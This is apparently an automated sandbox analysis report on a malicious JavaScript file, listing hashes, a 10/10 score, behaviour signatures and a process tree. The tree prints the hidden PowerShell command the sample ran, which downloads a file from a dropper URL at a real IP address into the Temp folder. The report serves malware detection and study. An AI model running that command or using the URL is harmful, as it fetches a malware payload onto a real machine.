Analysis

  • max time kernel
    123s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    15-11-2024 18:46

General

  • Target

    ID-PCTS8435.js

  • Size

    2KB

  • MD5

    9881a8b65b41433a8d7a3bb68f382e94

  • SHA1

    5d7b75c19bf11e1a3996a83258030759344d67b1

  • SHA256

    0909faba191b7f68cc08f8fc4c4adeb91224086fdd79ce5b050811747afd00ce

  • SHA512

    7c555e960b1c9e9e8b3d89ce68b7dc1cdc230afcb3ca6cbab22f92aa72ac1e3a7a16a17e1725580f33dd8fa136ad3d7c350fd2d4e20c9378f28b46b8112c7080

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://66.206.25.2/1/text.txt

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\ID-PCTS8435.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2568
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "try { (New-Object System.Net.WebClient).DownloadFile('http://66.206.25.2/1/text.txt', 'C:\\Users\\Admin\\AppData\\Local\\Temp\\sdA9cWXr.txt'); Write-Output 'Download successful'; } catch { Write-Output 'Download failed: ' + $_.Exception.Message; exit 1; }"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1852

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1852-4-0x000007FEF653E000-0x000007FEF653F000-memory.dmp

    Filesize

    4KB

  • memory/1852-8-0x000007FEF6280000-0x000007FEF6C1D000-memory.dmp

    Filesize

    9.6MB

  • memory/1852-7-0x0000000001E80000-0x0000000001E88000-memory.dmp

    Filesize

    32KB

  • memory/1852-6-0x000007FEF6280000-0x000007FEF6C1D000-memory.dmp

    Filesize

    9.6MB

  • memory/1852-5-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

    Filesize

    2.9MB

  • memory/1852-9-0x000007FEF6280000-0x000007FEF6C1D000-memory.dmp

    Filesize

    9.6MB

  • memory/1852-11-0x000007FEF6280000-0x000007FEF6C1D000-memory.dmp

    Filesize

    9.6MB

  • memory/1852-10-0x000007FEF6280000-0x000007FEF6C1D000-memory.dmp

    Filesize

    9.6MB

  • memory/1852-13-0x000007FEF6280000-0x000007FEF6C1D000-memory.dmp

    Filesize

    9.6MB

  • memory/1852-14-0x000007FEF653E000-0x000007FEF653F000-memory.dmp

    Filesize

    4KB